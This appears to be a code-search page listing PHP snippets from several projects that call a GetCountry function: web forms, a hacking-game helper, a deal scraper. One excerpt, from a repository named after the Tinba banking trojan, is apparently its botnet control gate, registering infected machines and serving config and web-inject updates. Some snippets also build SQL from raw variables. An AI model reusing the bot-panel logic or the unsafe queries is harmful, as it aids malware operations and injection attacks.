コード例 #1
0
ファイル: reg_form.php プロジェクト: sshegde123/wmp8
<!-- <input class="input-text" type="text" id="code" name="code" value="+91" onFocus="if(this.value==this.defaultValue)this.value='';" onBlur="if(this.value=='')this.value=this.defaultValue;" style="width: 10%"> + -->
            <div id='myform_phone_errorloc' class="error_strings"></div>
            <input class="input-text" type="text" id="phone" name="phone" value="" placeholder="Your Phone Number *" onFocus="if (this.value == this.defaultValue)
                        this.value = '';" onBlur="if (this.value == '')
                                    this.value = this.defaultValue;" >

            <div id='myform_Name_errorloc' class="error_strings"></div>  
            <textarea class="input-text text-area"  id="address" name="address"  cols="0" rows="0" placeholder="Your Address" onFocus="if (this.value == this.defaultValue)
                        this.value = '';" onBlur="if (this.value == '')
                                    this.value = this.defaultValue;"></textarea>

            <div id='myform_country_errorloc' class="error_strings"></div>
            <select class="input-text" name="country" id="country">
                <option value="000" selected="selected">Select Your Country *</option>
                <?php 
GetCountry();
?>
            </select>

            <div id='myform_sel_pooja_errorloc' class="error_strings"></div>                        
            <select class="input-text" name="sel_pooja" id="sel_pooja">
                <option value="000" selected="selected">Select Your Puja *</option>
                <?php 
for ($i = 0; $i < count($result_arr); $i++) {
    ?>
                    <option value="<?php 
    echo $result_arr[$i]["name"];
    ?>
" <?php 
    if ($pooja_name == $result_arr[$i]["name"]) {
        echo "selected='selected'";
コード例 #2
0
?>
</th></tr>
		<tr><td class="right" width="50%">Rank:</td><td class="left">
			<select name="rank">
<?php 
$ranks = GetRanks();
foreach ($ranks as $rank) {
    echo "<option value=\"{$rank['rank_id']}\">{$rank['longname']}</option>";
}
?>
			</select>
		</td></tr>
		<tr><td class="right">Country:</td><td class="left">
			<select name="country">
<?php 
$countries = GetCountry();
foreach ($countries as $country) {
    echo "<option value=\"{$country['country_id']}\">{$country['name']}</option>";
}
?>
			</select>
		</td></tr>
		<tr><td class="right" width="50%">ArmA2 ID</td><td class="left"><input type="text" name="a2_id" value="<?php 
echo $member['a2_id'];
?>
"/></td></tr>
		<tr><td class="right" width="50%">ArmA2:OA ID</td><td class="left"><input type="text" name="oa_id" value="<?php 
echo $member['oa_id'];
?>
"/></td></tr>
		</table>
コード例 #3
0
ファイル: gres.php プロジェクト: dergriewatz/htn-original
function addpc($country, $usrid, $byid = true)
{
    //--------- ADD PC ------------
    global $STYLESHEET, $REMOTE_FILES_DIR, $DATADIR;
    if ($byid == true) {
        $c = GetCountry('id', $country);
        $subnet = $c['subnet'];
    } else {
        $c = getcountry('subnet', $country);
        $subnet = $country;
    }
    $r = db_query('SELECT * FROM pcs WHERE ip LIKE \'' . mysql_escape_string($subnet) . '.%\'');
    $cnt = mysql_num_rows($r);
    $xip = $cnt + 1;
    if ($xip <= 254) {
        $ip = $subnet . '.' . $xip;
        $ts = time();
        db_query('INSERT INTO pcs(id, name,     ip,    owner,  cpu, ram, lan, mm, bb, ads, dialer, auctions, bankhack, fw, mk, av, ids, ips, rh, sdk, trojan, credits, lmupd, country, points, la, di, dt, lrh) VALUES(' . '0, \'NoName\', \'' . mysql_escape_string($ip) . '\', \'' . mysql_escape_string($usrid) . '\', 0, 0,   1,   1,  1,  1,   0,      0,        0,        0,  0,  0,  0,   0,   0,  0,   0,      1000,    \'' . mysql_escape_string($ts) . '\', \'' . mysql_escape_string($c['id']) . '\',0,      \'\',  \'\', \'\', \'\')');
        return mysql_insert_id();
    } else {
        return false;
    }
}
コード例 #4
0
ファイル: Sessions.php プロジェクト: j-mikhail/dealplotter
function ValidCoords($InValue, &$Ctry, &$Lat, &$Lng)
{
    if (stripos($InValue, '(') !== false && stripos($InValue, ',') !== false && stripos($InValue, ')') !== false) {
        $Parts = str_ireplace('(', '', $InValue);
        $Parts = str_ireplace(')', '', $Parts);
        $Parts = explode(",", $Parts);
        if (count($Parts) == 3) {
            $Lat = trim($Parts[0]);
            $Lng = trim($Parts[1]);
            $Ctry = GetCountry(trim($Parts[2]));
            if (is_numeric($Lat) && is_numeric($Lng)) {
                if ($Lng >= -180 && $Lng <= 180 && $Lat >= -90 && $Lat <= 90) {
                    return true;
                }
            }
        }
    }
    return false;
}
コード例 #5
0
ファイル: in.php プロジェクト: conjuringtricks/Tinba
    } elseif (($time_cfg = Update(CMD_UPDATE_CONFIG, 'data/configs/config', $row['time_cfg'])) > 0) {
        $query .= "`time_cfg`='{$time_cfg}', ";
    } elseif (($time_inj = Update(CMD_UPDATE_INJECTS, 'data/injects/injects', $row['time_inj'])) > 0) {
        $query .= "`time_inj`='{$time_inj}', ";
    }
}
if ($row['bot_uid'] == $bot_uid) {
    $query = "UPDATE `bots` SET " . $query;
    if ($row['bot_ip'] != $bot_ip) {
        $row['bot_country'] = GetCountry($bot_ip);
        $query .= "`bot_ip`='{$bot_ip}', `bot_country`='{$row['bot_country']}', ";
    }
    $query .= "`time_last`={$thetime} WHERE `bot_uid`='{$bot_uid}';";
    mysql_query($query);
} else {
    $row['bot_country'] = GetCountry($bot_ip);
    $query = "INSERT INTO `bots` VALUES ('{$bot_uid}', '{$bot_os}', '{$bot_ip}', '{$row['bot_country']}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, {$thetime}, {$thetime}, {$time_bin}, {$time_cfg}, {$time_inj}, '');";
    mysql_query($query);
}
$offset = 4;
$logs_table_name = 'logs_' . date('ymd', $thetime);
while ($offset < $DATA_len) {
    $log_type = ord($DATA[$offset++]);
    $log_len = ord($DATA[$offset++]) | ord($DATA[$offset++]) << 8 | ord($DATA[$offset++]) << 16 | ord($DATA[$offset++]) << 24;
    $offset += $log_len;
    if ($offset > $DATA_len) {
        die;
    }
    if ($log_type == 0) {
        continue;
    }
コード例 #6
0
ファイル: Sources.php プロジェクト: j-mikhail/dealplotter
function GetDealID($Source, $LanguageID, $CountryID, $StoreID, $D, $DoHist)
{
    //Find deal
    list($QR, $DR, $T) = QuerySingle("SELECT D.DealID, D.DealPrice, D.DealValue, D.DealStatus, D.StringID, LS.StringText AS Title, D.DealURL\n                                         FROM 4000_Deals D\n                                        INNER JOIN 0200_Language_Strings LS ON D.StringID = LS.StringID AND LS.LanguageID = " . $LanguageID . "\n                                        WHERE D.DealSourceID = " . $Source . "\n                                          AND ((D.RemoteID = '" . Pacify($D['DRID']) . "')\n                                           OR (LS.StringText = '" . Pacify($D['Title']) . "' AND LENGTH(LS.StringText) > 15))\n                                          AND D.DateEnds >= " . date('YmdHis') . ";");
    if ($QR < 0) {
        return SysLogIt('Error searching for deal.', StatusError, ActionSelect);
    }
    if ($QR == 0) {
        if ($StringID = CreateNewString($LanguageID, $Source * 1000000, ($Source + 1) * 1000000 - 1, 'Title for deal with remote ID of ' . $D['DRID'], $D['Title'])) {
            $CID = $CountryID;
            if (array_key_exists("Country", $D)) {
                $CID = GetCountry($D['Country'], $CountryID);
            }
            //Insert new deal
            if (!ExecCommand("INSERT INTO 4000_Deals (DealSourceID, CountryID, StoreID, StringID, RemoteID, DealURL, DateListed, DateEnds, DateExpiry, DealPrice, DealValue, DealStatus)\n                          VALUES (" . $Source . "," . $CID . "," . $StoreID . "," . $StringID . ",'" . Pacify($D['DRID']) . "','" . Pacify($D['URL']) . "'," . date('YmdHis', $D['SDate']) . "," . date('YmdHis', $D['EDate']) . "," . date('YmdHis', $D['VDate']) . "," . round((double) $D['Price']) . "," . round((double) $D['Value']) . "," . $D['Status'] . ");")) {
                return SysLogIt('Error creating new deal.', StatusError, ActionInsert);
            }
            //Get new store record
            list($QR, $DR, $T) = QuerySingle("SELECT last_insert_id() AS ID;");
            if ($QR < 0) {
                return SysLogIt('Error retrieving newly inserted deal ID.', StatusError, ActionSelect);
            }
            $DealID = $DR['ID'];
            SysLogIt('Created new deal with ID of ' . $DealID . '.', StatusInfo, ActionInsert);
            if ($DoHist) {
                DoHistoryGraph($StoreID);
            }
            DoQR($DealID, $StoreID, $D);
        } else {
            return false;
        }
    } else {
        $DealID = $DR['DealID'];
        $StringID = $DR['StringID'];
        //Update deal data if necessary
        if ((int) $DR['DealPrice'] != (int) $D['Price'] || (int) $DR['DealValue'] != (int) $D['Value']) {
            // || ($DR['DealURL'] != $D['URL']) ) {
            if (!ExecCommand("UPDATE 4000_Deals SET DealPrice = " . (double) $D['Price'] . ", DealValue = " . (double) $D['Value'] . ", DealStatus = " . ($DR['DealStatus'] | $D['Status']) . ", DealURL = '" . Pacify($D['URL']) . "' WHERE DealID = " . $DR['DealID'] . ";")) {
                return SysLogIt('Error updating deal with ID of ' . $DR['DealID'] . '.', StatusError, ActionUpdate);
            }
            SysLogIt('Updated deal with ID of ' . $DR['DealID'] . '.', StatusInfo, ActionUpdate);
            DoQR($DealID, $StoreID, $D, true);
        } else {
            SysLogIt('Deal already exists with ID of ' . $DealID . ' and no need to update.');
        }
        //Update string if necessary
        if ($DR['Title'] != $D['Title']) {
            if (!ExecCommand("UPDATE 0200_Language_Strings SET StringText = '" . Pacify($D['Title']) . "' WHERE StringID = " . $StringID . " AND LanguageID = " . $LanguageID . ";")) {
                return SysLogIt('Error updating string with ID of ' . $StringID . '.', StatusError, ActionUpdate);
            }
            SysLogIt('Updated string with ID of ' . $StringID . '.', StatusInfo, ActionUpdate);
        }
    }
    //Do translations
    if ($StringID > 0) {
        TranslateOtherLanguages($D, $LanguageID, $StringID);
    }
    return $DealID;
}